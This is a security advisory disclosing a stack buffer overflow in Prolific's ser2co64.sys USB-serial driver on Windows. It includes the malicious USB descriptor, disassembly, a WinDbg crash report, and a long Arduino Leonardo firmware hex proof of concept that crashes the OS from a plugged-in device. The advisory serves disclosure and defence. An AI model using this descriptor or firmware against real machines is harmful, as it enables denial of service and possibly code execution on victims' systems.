Prolific Ser2co64.sys Stack Buffer Overflow

`OS-S Security Advisory 2016–02-08  
Prolific Ser2co64.sys Stack Buffer Overflow  
  
Date: December 23th, 2015  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: Not assigned yet  
CVSS: 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)  
Title: Local Microsoft Windows 7 / 8 / 10 Buffer Overflow via Third-Party USB-  
Driver (ser2co64.sys)  
Severity: Critical. The OS halts (BSOD). Arbitrary code execution propable.  
Ease of Exploitation: Trivial  
Vulnerability Type: Stack Buffer Overflow  
Products: Windows 7 / 8 / 10 Ser2co64.sys driver  
Vendor: Prolific Technology Inc.  
Vendor contacted: December, 23rd 2016  
PDF Advisory: https://os-s.net/advisories/oss-advisory-2016-04.pdf  
  
Abstract:  
The ser2co64.sys driver is vulnerable to a stack buffer overflow. If a malicious   
USB device is presented, the buffer overflow occurs . This driver is digitally   
signed by Microsoft and provided via Windows Update.  
  
Detailed product description:  
We confirmed the bug on the following system:  
• Microsoft Windows 7 (x86-64)  
• Microsoft Windows 8 (x86-64)  
• Microsoft Windows 10 (x86-64)  
  
Ser2co64.sys driver:  
- Name: USB-to Serial Cable Driver  
- Version: 3.3.0.1  
- Original filename: SER2PL.SYS  
  
Description:  
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo  
(github.com/schumilo) using the following device descriptor:  
  
[*] Device-Descriptor  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0x1  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x50d  
idProduct: 0x257  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x3  
bInterfaceClass: 0x1  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81  
bmAttribut: 0x3  
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x1  
bmAttribut: 0x2  
wMaxPacketSize: 0x4  
bInterval: 0xc  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x82  
bmAttribut: 0x1  
wMaxPacketSize: 0x4  
bInterval: 0xc  
  
[*] String-Descriptor (StringIndex: 0,1,2,3,4)  
bLength: 0xc8  
bDescriptorType: 0x3  
stringData: 0x41 x 198  
  
We were able to establish the underlying cause for this crash. As shown in the   
WinDbg-Report, a stack buffer overflow occurs by presenting a malicious USB   
device due to a wrong usage of the WDF-function   
“WdfUSBTargetDeviceQueryString” . The “NumCharacters” argument specifies the   
number of characters, which the supplied buffer may hold. The ser2co64.sys   
driver passes the argument 0x40, which happens to be the size of the defined   
buffer. Unfortunately, the “NumCharactes” argument expects the number of   
unicode-characters, which are 2 bytes instead of 1 byte per character in size.   
This incorrect usage leads to a possible buffer overflow. Any String bLength   
value greater than 64 for the requested StringIndex 1 or 2 results in a crash   
of the OS (BSOD).  
  
If the stack-canary secret is obtained during runtime, this bug allows   
arbitrary code execution by connecting a crafted USB device. In such case,   
this vulnerability is impacting confidentiality, integrity, and availability  
  
...  
000000000001b467 mov al, byte [ds:rbx+bDeviceClass]  
000000000001b46d lea edi, dword [ds:rsi+0x40] ;   
NumCharacters  
000000000001b470 cmp al, 0x2  
000000000001b472 jne 0x1b47c  
...  
  
...  
000000000001b4c8 mov rdx, qword [ds:rbx+Request]   
000000000001b4cf mov rcx, qword [ds:UsbDevice]   
000000000001b4d6 mov word [ss:rsp+var_80], 0x409 ;   
LangID   
000000000001b4dd lea rax, qword [ss:rsp+NumCharactes]  
000000000001b4e2 mov byte [ss:rsp+var_88], 0x2 ;   
StringIndex (2)  
000000000001b4e7 mov qword [ss:rsp+var_90], rax  
000000000001b4ec lea rax, qword [ss:rsp+buffer_64b]   
; String  
000000000001b4f1 xor r9d, r9d   
000000000001b4f4 xor r8d, r8d   
000000000001b4f7 mov qword [ss:rsp+var_98], rax  
000000000001b4fc call qword [ds:WdfUSBTargetDeviceQueryString]   
; incorrect usage   
...  
  
...  
000000000001b552 mov byte [ss:rsp+var_88], bpl ;   
StringIndex (1)  
000000000001b557 mov qword [ss:rsp+var_90], rax  
000000000001b55c lea rax, qword [ss:rsp+buffer_64b]  
000000000001b561 xor r9d, r9d  
000000000001b564 xor r8d, r8d  
000000000001b567 mov qword [ss:rsp+var_98], rax  
000000000001b56c call qword [ds:WdfUSBTargetDeviceQueryString]   
; incorrect usage  
...  
  
Proof of Concept:  
For a proof of concept, we are providing an Arduino Leonardo firmware file. This   
firmware will emulate the defective USB device and exploit the buffer overflow   
(DoS).All Microsoft Windows versions tested will automatically download and   
install the ser2co64.sys driver.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware,   
only physical access to the system is required.  
  
Vendor Communication  
We contacted Prolific and Microsoft on the December, 23th 2015.   
We did not receive any response, yet. In accordance with our Responsible   
Disclosure Policy, we publish this Security Advisory.  
  
WinDbg Report:  
  
*******************************************************************************  
*   
*  
* Bugcheck Analysis   
*  
*   
*  
*******************************************************************************  
  
DRIVER_OVERRAN_STACK_BUFFER (f7)  
A driver has overrun a stack-based buffer. This overrun could potentially  
allow a malicious user to gain control of this machine.  
DESCRIPTION  
A driver overran a stack-based buffer (or local variable) in a way that would  
have overwritten the function's return address and jumped back to an arbitrary  
address when the function returned. This is the classic "buffer overrun"  
hacking attack and the system has been brought down to prevent a malicious   
user  
from gaining complete control of it.  
Do a kb to get a stack backtrace -- the last routine on the stack before the  
buffer overrun handlers and bugcheck call is the one that overran its local  
variable(s).  
Arguments:  
Arg1: 0000f80128ad0290, Actual security check cookie from the stack  
Arg2: 0000f80128ad3673, Expected security check cookie  
Arg3: ffff07fed752c98c, Complement of the expected security check cookie  
Arg4: 0000000000000000, zero  
  
Debugging Details:  
------------------  
  
DUMP_CLASS: 1  
DUMP_QUALIFIER: 401  
BUILD_VERSION_STRING: 10586.0.amd64fre.th2_release.151029-1700  
SYSTEM_MANUFACTURER: Gigabyte Technology Co., Ltd.  
SYSTEM_PRODUCT_NAME: GA-MA74GM-S2H  
BIOS_VENDOR: Award Software International, Inc.  
BIOS_VERSION: F2  
BIOS_DATE: 12/31/2008  
BASEBOARD_MANUFACTURER: Gigabyte Technology Co., Ltd.  
BASEBOARD_PRODUCT: GA-MA74GM-S2H  
BASEBOARD_VERSION: x.x  
DUMP_TYPE: 1  
BUGCHECK_P1: f80128ad0290  
BUGCHECK_P2: f80128ad3673  
BUGCHECK_P3: ffff07fed752c98c  
BUGCHECK_P4: 0  
SECURITY_COOKIE: Expected 0000f80128ad3673 found 0000f80128ad0290  
CPU_COUNT: 2  
CPU_MHZ: bbe  
CPU_VENDOR: AuthenticAMD  
CPU_FAMILY: f  
CPU_MODEL: 43  
CPU_STEPPING: 3  
DEFAULT_BUCKET_ID: WIN8_DRIVER_FAULT  
BUGCHECK_STR: 0xF7  
PROCESS_NAME: System  
CURRENT_IRQL: 0  
ANALYSIS_SESSION_HOST: DESKTOP-68IENUU  
ANALYSIS_SESSION_TIME: 12-17-2015 07:16:05.0688  
ANALYSIS_VERSION: 10.0.10586.567 amd64fre  
LOCK_ADDRESS: fffff800e630b420 -- (!locks fffff800e630b420)  
  
Resource @ nt!PiEngineLock (0xfffff800e630b420) Exclusively owned  
Contention Count = 120  
NumberOfExclusiveWaiters = 1  
Threads: ffffe000461cb040-01<*>   
Threads Waiting On Exclusive Access:  
ffffe0004557b040   
  
1 total locks, 1 locks currently held  
  
PNP_TRIAGE:   
Lock address : 0xfffff800e630b420  
Thread Count : 1  
Thread address: 0xffffe000461cb040  
Thread wait : 0x777a  
  
LAST_CONTROL_TRANSFER: from fffff80128acd0be to fffff800e6155f80  
  
STACK_TEXT:   
ffffd001`55390248 fffff801`28acd0be : 00000000`000000f7 0000f801`28ad0290   
0000f801`28ad3673 ffff07fe`d752c98c : nt!KeBugCheckEx  
ffffd001`55390250 fffff801`28acb67e : fffff801`28ad1f10 00000000`00000001   
fffff801`28ad1ef0 00000000`00000000 : ser2co64+0xd0be  
ffffd001`55390290 fffff801`28ad8cb5 : ffffe000`46f8b970 ffffe000`46f8bc60   
00000000`00000002 00000000`00000000 : ser2co64+0xb67e  
ffffd001`55390350 fffff801`25eb5dc2 : ffffe000`47b3b2a0 00000000`00000004   
00000000`00000000 ffffe000`47b3b2a0 : ser2co64+0x18cb5  
ffffd001`55390390 fffff801`25ecfbd9 : ffffe000`4652fc50 ffffe000`4652fc50   
00000000`00000000 00000000`00000000 :   
Wdf01000!FxPkgPnp::PnpPrepareHardware+0xc2 [d:  
\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 3571]  
ffffd001`553903d0 fffff801`25eb5ff9 : ffffe000`47b3b201 ffffe000`47b3b2a0   
00000000`00000108 fffff801`25f35eb0 :   
Wdf01000!FxPkgPnp::PnpEventHardwareAvailable+0x69 [d:  
\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 1396]  
ffffd001`55390410 fffff801`25eb3cdf : ffffe000`47b3b3f8 ffffd001`00000000   
00000000`00000000 00000000`00000000 :   
Wdf01000!FxPkgPnp::PnpProcessEventInner+0x1c9 [d:  
\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 1150]  
ffffd001`553904c0 fffff801`25eb28be : 00000000`00000000 ffffe000`47b3b2a0   
ffffe000`4652fc50 00000000`00000000 : Wdf01000!FxPkgPnp::PnpProcessEvent+0x1ef   
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @   
933]  
ffffd001`55390560 fffff801`25eadff2 : ffffe000`47b3b2a0 ffffd001`553906c0   
00000000`00000000 ffffe000`46f8b970 : Wdf01000!FxPkgPnp::_PnpStartDevice+0x1e   
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\fxpkgpnp.cpp @ 1845]  
ffffd001`55390590 fffff801`25ea11b1 : ffffe000`481d1c10 ffffe000`46f8b970   
00000000`00000000 ffffd001`55390710 : Wdf01000!FxPkgPnp::Dispatch+0xb2 [d:  
\th\minkernel\wdf\framework\shared\irphandlers\pnp\fxpkgpnp.cpp @ 654]  
ffffd001`55390600 fffff801`27b575e4 : ffffd001`553906c0 00000000`00000000   
00000000`00000000 00000000`00000000 :   
Wdf01000!FxDevice::DispatchWithLock+0x111 [d:  
\th\minkernel\wdf\framework\shared\core\fxdevice.cpp @ 1402]  
ffffd001`55390660 fffff801`27b5722c : ffffe000`481d1c10 ffffe000`4652fc50   
ffffe000`458f7270 00000000`00000200 : serenum!Serenum_FDO_PnP+0x3a4  
ffffd001`553906e0 fffff800`e63c7a7d : ffffe000`458f7200 ffffd001`55390704   
00000000`00000000 00000000`00000000 : serenum!Serenum_PnP+0x3c  
ffffd001`55390710 fffff800`e6017e14 : ffffe000`458f7270 00000000`00000000   
ffffe000`47dd24f0 00000000`00000000 : nt!PnpAsynchronousCall+0xe5  
ffffd001`55390750 fffff800`e6107ae4 : 00000000`00000000 ffffe000`458f7270   
fffff800`e6017970 fffff800`e6017970 : nt!PnpSendIrp+0x54  
ffffd001`553907c0 fffff800`e64f7c73 : ffffe000`45f2a010 ffffe000`47dd24f0   
00000000`00000000 00000000`00000000 : nt!PnpStartDevice+0x88  
ffffd001`55390850 fffff800`e64f7b5f : ffffe000`45f2a010 ffffd001`55390a20   
00000000`00000000 ffffe000`45f2a010 : nt!PnpStartDeviceNode+0xdb  
ffffd001`553908e0 fffff800`e64dc927 : ffffe000`45f2a010 00000000`00000001   
00000000`00000001 ffffe000`46a9ad30 : nt!PipProcessStartPhase1+0x53  
ffffd001`55390920 fffff800`e64afc95 : ffffe000`46936fb0 00000000`00000001   
ffffd001`55390c59 fffff800`e64db563 : nt!PipProcessDevNodeTree+0x40b  
ffffd001`55390ba0 fffff800`e60fb702 : 00000001`00000003 00000000`00000000   
00000000`00000000 00000000`ffff62e9 : nt!PiProcessReenumeration+0xa1  
ffffd001`55390bf0 fffff800`e607eb79 : ffffe000`461cb040 fffff800`e6309ec0   
fffff800`e63a7340 ffffe000`00000000 : nt!PnpDeviceActionWorker+0x166  
ffffd001`55390cc0 fffff800`e601d125 : 00000204`a83b7dfe 00000000`00000080   
ffffe000`4547a700 ffffe000`461cb040 : nt!ExpWorkerThread+0xe9  
ffffd001`55390d50 fffff800`e615b126 : fffff800`e6331180 ffffe000`461cb040   
fffff800`e601d0e4 00000000`00000000 : nt!PspSystemThreadStartup+0x41  
ffffd001`55390da0 00000000`00000000 : ffffd001`55391000 ffffd001`5538b000   
00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x16  
  
  
STACK_COMMAND: kb  
THREAD_SHA1_HASH_MOD_FUNC: f4f5bae4d9ad04ab97c90bc2a676b58d2f75a89d  
THREAD_SHA1_HASH_MOD_FUNC_OFFSET: d47bbca00809a763134ff7bef6c61512ffc01318  
THREAD_SHA1_HASH_MOD: 5c4655ab0700f60ba15e2ca5a5de330b1c6bd244  
  
FOLLOWUP_IP:   
ser2co64+d0be  
fffff801`28acd0be cc int 3  
  
FAULT_INSTR_CODE: cccccccc  
SYMBOL_STACK_INDEX: 1  
SYMBOL_NAME: ser2co64+d0be  
FOLLOWUP_NAME: MachineOwner  
MODULE_NAME: ser2co64  
IMAGE_NAME: ser2co64.sys  
DEBUG_FLR_IMAGE_TIMESTAMP: 47a1334c  
BUCKET_ID_FUNC_OFFSET: d0be  
FAILURE_BUCKET_ID: 0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function  
BUCKET_ID: 0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function  
PRIMARY_PROBLEM_CLASS: 0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function  
TARGET_TIME: 2015-12-17T05:58:12.000Z  
OSBUILD: 10586  
OSSERVICEPACK: 0  
SERVICEPACK_NUMBER: 0  
OS_REVISION: 0  
SUITE_MASK: 272  
PRODUCT_TYPE: 1  
OSPLATFORM_TYPE: x64  
OSNAME: Windows 10  
OSEDITION: Windows 10 WinNt TerminalServer SingleUserTS  
OS_LOCALE:   
USER_LCID: 0  
OSBUILD_TIMESTAMP: 2015-10-30 03:15:45  
BUILDDATESTAMP_STR: 151029-1700  
BUILDLAB_STR: th2_release  
BUILDOSVER_STR: 10.0.10586.0.amd64fre.th2_release.151029-1700  
ANALYSIS_SESSION_ELAPSED_TIME: 23cc  
ANALYSIS_SOURCE: KM  
FAILURE_ID_HASH_STRING: km:0xf7_missing_gsframe_ser2co64!unknown_function  
FAILURE_ID_HASH: {f0c18b7a-b764-aed1-b7d6-9f6515a68c5a}  
Followup: MachineOwner  
---------  
  
  
Arduino Leonardo Firmware:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C94D0050C942B04C2  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C940A02C5  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C50007030A030A  
:1000B000FD0201032B032B032B030E031203160374  
:1000C0001C0320032B0326030000000200080E007F  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF14E0A0E078  
:10016000B1E0EEEFF3E102C005900D92A63EB107BB  
:10017000D9F725E0A6EEB4E001C01D92A230B20787  
:10018000E1F70E94C8000C9419070C940000089530  
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421  
:1001A000DEBF0FBECDBF0E949D020E94C70060E06F  
:1001B00083E00E942C0361E087E00E942C0361E051  
:1001C00088E00E942C030E946E067E012AE9E20E5E  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E4E2F1E0FE  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E6E4F1E0DE01939601900D92DA  
:100210008A95E1F782E1EEE5F1E0DE01DB960190FF  
:100220000D928A95E1F789E0E0E7F1E0DE01A0595F  
:10023000BF4F01900D928A95E1F72A593F4F99E0FF  
:10024000992ED901E92D1D92EA95E9F78E010957FA  
:100250001F4F87E0E9E7F1E0D80101900D928A9500  
:10026000E1F7BE0160587F4F87E0E0E8F1E0DB0195  
:1002700001900D928A95E1F7AE0147585F4F87E0F4  
:10028000E7E8F1E0DA0101900D928A95E1F75E016D  
:10029000FEE8AF0EB11C86E0EEE8F1E0D50101907A  
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172  
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188  
:1002C0009C92F4E01196FC9311971496EC9314977A  
:1002D0008824839415968C92F901DC01292D0190D4  
:1002E0000D922A95E1F7FE01EC56FF4FDC011B96BB  
:1002F000FC93EE931A971D96BC92AE921C971183B5  
:10030000008373836283558344830C5211092CE06C  
:10031000F80111922A95E9F7D80119968C9219974C  
:10032000FE01E059FF4F01900D929A94E1F7F80118  
:100330009387828761E088E00E94650384E991E009  
:100340000E947A0683ED91E00E947A0682E192E0B3  
:100350000E947A068EE492E00E947A068BE892E090  
:100360000E947A0680EB92E00E947A0683E00E9467  
:100370009B03892B09F047C05E01F3E2AF0EB11C6D  
:100380008824839482E1982E89ED92E00E947A0677  
:10039000BF92AF92DF92CF92FF92EF921F928F9215  
:1003A0001F930F932DB73EB7225131090FB6F89422  
:1003B0003EBF0FBE2DBFADB7BEB71196FE01FB9677  
:1003C000892D01900D928A95E1F78FEE94E00E94BD  
:1003D0000F0668E873E180E090E00E9477028FEEFC  
:1003E00094E00E94630660E087E00E94650368E88D  
:1003F00073E180E090E00E9477020FB6F894DEBFD0  
:100400000FBECDBFC1CF6AE070E080E090E00E94F7  
:100410007702ACCF1F920F920FB60F9211242F9339  
:100420003F938F939F93AF93BF938091E7049091F5  
:10043000E804A091E904B091EA043091E60423E0D5  
:10044000230F2D3720F40196A11DB11D05C026E80C  
:10045000230F0296A11DB11D2093E6048093E704AB  
:100460009093E804A093E904B093EA048091EB042C  
:100470009091EC04A091ED04B091EE040196A11DC1  
:10048000B11D8093EB049093EC04A093ED04B09322  
:10049000EE04BF91AF919F918F913F912F910F905B  
:1004A0000FBE0F901F9018953FB7F8948091EB0402  
:1004B0009091EC04A091ED04B091EE0426B5A89BB8  
:1004C00005C02F3F19F00196A11DB11D3FBF662742  
:1004D000782F892F9A2F620F711D811D911D42E087  
:1004E000660F771F881F991F4A95D1F70895CF92FD  
:1004F000DF92EF92FF92CF93DF936B017C010E941A  
:100500005402EB01C114D104E104F10479F00E941A  
:1005100054026C1B7D0B683E7340A0F381E0C81A47  
:10052000D108E108F108C851DC4FECCFDF91CF9141  
:10053000FF90EF90DF90CF900895789484B582601B  
:1005400084BD84B5816084BD85B5826085BD85B577  
:10055000816085BDEEE6F0E0808181608083E1E826  
:10056000F0E010828081826080838081816080835E  
:10057000E0E8F0E0808181608083E1E9F0E0808163  
:1005800082608083808181608083E0E9F0E0808107  
:1005900081608083E1ECF0E08081846080838081F1  
:1005A00082608083808181608083E3ECF0E08081E1  
:1005B00081608083E0ECF0E0808182608083E2EC07  
:1005C000F0E0808181608083EAE7F0E080818460F0  
:1005D000808380818260808380818160808380814C  
:1005E00080688083089590E0FC013197EE30F1053A  
:1005F00090F5EA5AFF4F0C94C009809180008F77E4  
:1006000003C0809180008F7D80938000089584B521  
:100610008F7702C084B58F7D84BD0895809190004E  
:100620008F7707C0809190008F7D03C080919000EC  
:10063000877F8093900008958091C0008F7703C0DA  
:100640008091C0008F7D8093C00008958091C2008A  
:10065000877F8093C2000895CF93DF9390E0FC01E1  
:10066000EA51FF4F2491FC01EC5FFE4F84918823F7  
:1006700049F190E0880F991FFC01E25CFE4FA591C3  
:10068000B491805D9E4FFC01C591D4919FB76111DB  
:1006900008C0F8948C91209582238C9388818223C2  
:1006A0000AC0623051F4F8948C91322F3095832334  
:1006B0008C938881822B888304C0F8948C91822B40  
:1006C0008C939FBFDF91CF9108950F931F93CF938A  
:1006D000DF931F92CDB7DEB7282F30E0F901E85342  
:1006E000FF4F8491F901EA51FF4F1491F901EC5F3A  
:1006F000FE4F04910023C9F0882321F069830E94F2  
:10070000F3026981E02FF0E0EE0FFF1FE05DFE4F86  
:10071000A591B4919FB7F8948C91611103C0109585  
:10072000812301C0812B8C939FBF0F90DF91CF91CC  
:100730001F910F910895CF93DF93282F30E0F90197  
:10074000E853FF4F8491F901EA51FF4FD491F90129  
:10075000EC5FFE4FC491CC2391F081110E94F30213  
:10076000EC2FF0E0EE0FFF1FEE5DFE4FA591B49170  
:100770002C912D2381E090E021F480E002C080E004  
:1007800090E0DF91CF910895615030F02091F10019  
:10079000FC0120830196F8CF289884E68093000519  
:1007A00008951092E9001092F4041092F3049093CB  
:1007B000F2048093F1040895FF920F931F93CF9357  
:1007C000DF93F82E8B01EA01BA01C8010E94BB0633  
:1007D000F80120E030E08EEF2C173D0791F1F7FE95  
:1007E00002C0A49101C0A0816091F3047091F4044F  
:1007F0004091F1045091F20464177507ACF49091A4  
:10080000E8009570E1F39091E80092FD1CC0A09380  
:10081000F100A091F304B091F4041196AF73BB27DB  
:10082000AB2B11F48093E800A091F304B091F40491  
:100830001196B093F404A093F3042F5F3F4F3196C9  
:10084000CBCFC90102C08FEF9FEFDF91CF911F91F6  
:100850000F91FF9008951F920F920FB60F921124DF  
:100860006F927F928F929F92AF92BF92CF92DF92C0  
:10087000EF92FF920F931F932F933F934F935F93AA  
:100880006F937F938F939F93AF93BF93EF93FF9358  
:10089000CF93DF93CDB7DEB76297DEBFCDBF1092A7  
:1008A000E9008091E80083FF56C168E0CE010A9616  
:1008B0000E94C40382EF8093E8009A8597FF05C0E9  
:1008C0008091E80080FFFCCF03C08EEF8093E800AA  
:1008D000892F807609F033C18B85811105C0109274  
:1008E000F1001092F10030C1282F2D7F213009F442  
:1008F0002BC1853049F48091E80080FFFCCF8C85C6  
:1009000080688093E30020C1863009F0F1C02D8516  
:1009100008891989223009F0B3C0EC848E2D90E04B  
:100920002091F6043091F704821793070CF09FC0D2  
:100930000E94D1031F92EF9285EF92E09F938F93D5  
:100940000E9498068CE0E89E70011124E091F80462  
:10095000F091F904EE0DFF1D89E0DE011196019082  
:100960000D928A95E1F7C8010E94D10349E050E059  
:10097000BE016F5F7F4F80E00E94DC030F900F90FD  
:100980000F900F90C12CD12C612C712C3BE2A32E27  
:1009900033E0B32E42E6842E43E0942EE091F80437  
:1009A000F091F904EE0DFF1D818590E0681679063F  
:1009B0000CF0CAC07F926F92BF92AF920E949806CD  
:1009C000E091F804F091F904EE0DFF1D6285738546  
:1009D0006C0D7D1D49E050E080E00E94DC030F902B  
:1009E0000F900F900F9000E010E0E091F804F0916C  
:1009F000F904EE0DFF1D0284F385E02DEC0DFD1DC5  
:100A0000818590E0081719075CF51F930F939F925B  
:100A10008F920E949806E091F804F091F904EE0D8F  
:100A2000FF1D0284F385E02DEC0DFD1DC801880F2C  
:100A3000991FA485B585A80FB91F4D915C910284BB  
:100A4000F385E02DE80FF91F6081718180E00E943D  
:100A5000DC030F5F1F4F0F900F900F900F90C5CFCB  
:100A6000EFEF6E1A7E0AFEE0CF0ED11C97CF87E91A  
:100A700093E09F938F930E9498060F900F9068C009  
:100A8000C8012A8B0E94D1032A89213069F4888900  
:100A90009989089711F42093F0048091F004811152  
:100AA0001BC062E171E01AC0233009F051C08C858F  
:100AB0001F928F9381EB93E09F938F930E949806F0  
:100AC00042E050E06AE074E080E00E94DC030F90B6  
:100AD0000F900F900F9038C060E071E061157105C4  
:100AE000B9F1FB01408150E080E00E94DC032CC0A2  
:100AF000873071F1883021F481E08093F10024C0C7  
:100B0000893011F5937021F5EDE4F1E081E021E009  
:100B100096E38093E9002093EB0034913093EC004E  
:100B20009093ED008F5F3196843099F78EE7809334  
:100B3000EA001092EA008C858093F50405C088894C  
:100B400099890E94D10304C08EEF8093E80003C00E  
:100B500081E28093EB0062960FB6F894DEBF0FBE81  
:100B6000CDBFDF91CF91FF91EF91BF91AF919F9159  
:100B70008F917F916F915F914F913F912F911F9135  
:100B80000F91FF90EF90DF90CF90BF90AF909F902C  
:100B90008F907F906F900F900FBE0F901F901895C1  
:100BA0001F920F920FB60F9211248F939F938091F3  
:100BB000E1001092E10083FF0FC01092E90091E084  
:100BC0009093EB001092EC0092E39093ED00109262  
:100BD000F50498E09093F00082FF1AC0809101051F  
:100BE000882339F080910105815080930105882385  
:100BF00069F080910005882359F0809100058150AB  
:100C000080930005811104C0289A02C05D9AF1CF3B  
:100C10009F918F910F900FBE0F901F901895CF93BB  
:100C2000DF93CDB7DEB782E1FE013596A2E1B1E0F8  
:100C300001900D928A95E1F782E1FE013596A0E0E0  
:100C4000B1E001900D928A95E1F78F89988D90938C  
:100C5000F9048093F804898D9A8D9093F70480931A  
:100C6000F6048B8D9C8D9093FF048093FE048D8DF4  
:100C70009E8D9093FD048093FC048F8D98A190939A  
:100C8000FB048093FA041092F50481E08093D7006E  
:100C900080EA8093D80082E189BD09B400FEFDCFCF  
:100CA00061E070E080E090E00E94770280E980934C  
:100CB000D8008CE08093E2001092E000559A209AD0  
:100CC000DF91CF91089581E08093E00008959091A5  
:100CD000C80095FFFCCF8093CE0008951092CD0000  
:100CE00087E68093CC0088E18093C9008EE08093F2  
:100CF000CA0008950F931F93CF93DF93EC018C01EB  
:100D0000FE0101900020E9F73197EC1BFD0BC801B3  
:100D10008C1B9D0B8E179F0730F4F80181918F017A  
:100D20000E946706EDCFDF91CF911F910F9108953B  
:100D3000CF93DF93CDB7DEB7DA950FB6F894DEBF69  
:100D40000FBECDBFFE01EB5FFE4F419151919F0160  
:100D500060E071E0CE0101960E941C07CE01019671  
:100D60000E947A06D3950FB6F894DEBF0FBECDBFB2  
:100D7000DF91CF9108958F929F92AF92BF92CF92C1  
:100D8000DF92EF92FF920F931F93CF93DF9300D0E8  
:100D9000CDB7DEB75B0123ED34E03F932F9389831A  
:100DA0009A830E9498068981882E9A81992E0F90A5  
:100DB0000F9000E010E08FEDE82E84E0F82E96ED25  
:100DC000C92E92E0D92E0A151B05E4F4F401819195  
:100DD0004F0190E09F938F93FF92EF920E949806AD  
:100DE0000F5F1F4FC8018F7099270F900F900F90C2  
:100DF0000F90892B41F7DF92CF920E9498060F90B7  
:100E00000F90E1CF86ED92E09F938F930E9498061A  
:100E10000F900F900F900F90DF91CF911F910F9136  
:100E2000FF90EF90DF90CF90BF90AF909F908F900A  
:100E30000895F8940C94FD09AEE0B0E0E2E2F7E02A  
:100E40000C94D4098C01CA0146E04C831A830983AF  
:100E500077FF02C060E070E8615071097E836D83A6  
:100E6000A901BC01CE0101960E9448074D815E8117  
:100E700057FD0AC02F813885421753070CF49A0199  
:100E8000F801E20FF31F10822E96E4E00C94F009B3  
:100E9000ACE0B0E0EEE4F7E00C94C6097C016B0135  
:100EA0008A01FC0117821682838181FFBDC1CE01B8  
:100EB00001964C01F7019381F60193FD859193FF13  
:100EC00081916F01882309F4ABC1853239F493FD18  
:100ED000859193FF81916F01853229F4B70190E0EC  
:100EE0000E943009E7CF512C312C20E02032A0F4B1  
:100EF0008B3269F030F4803259F0833269F420612A  
:100F00002CC08D3239F0803339F4216026C0226044  
:100F1000246023C0286021C027FD27C030ED380F92  
:100F20003A3078F426FF06C0FAE05F9E300D1124B7  
:100F3000532E13C08AE0389E300D1124332E2062C8  
:100F40000CC08E3221F426FD6BC1206406C08C36A5  
:100F500011F4206802C0883641F4F60193FD8591B2  
:100F600093FF81916F018111C1CF982F9F7D95547F  
:100F7000933028F40C5F1F4FFFE3F9830DC08336D5  
:100F800031F0833771F0833509F05BC022C0F8017E  
:100F9000808189830E5F1F4F44244394512C540158  
:100FA00015C03801F2E06F0E711CF801A080B1800D  
:100FB00026FF03C0652D70E002C06FEF7FEFC50113  
:100FC0002C870E9425092C0183012C852F77222E46  
:100FD00017C03801F2E06F0E711CF801A080B180DB  
:100FE00026FF03C0652D70E002C06FEF7FEFC501E3  
:100FF0002C870E941A092C012C852068222E83013F  
:1010000023FC1BC0832D90E048165906B0F4B701AD  
:1010100080E290E00E9430093A94F4CFF50127FC79  
:10102000859127FE81915F01B70190E00E94300910  
:1010300031103A94F1E04F1A51084114510471F7FC  
:10104000E5C0843611F0893639F5F80127FF07C06D  
:1010500060817181828193810C5F1F4F08C0608124  
:101060007181882777FD8095982F0E5F1F4F2F760F  
:10107000B22E97FF09C090958095709561957F4F2E  
:101080008F4F9F4F2068B22E2AE030E0A4010E94CB  
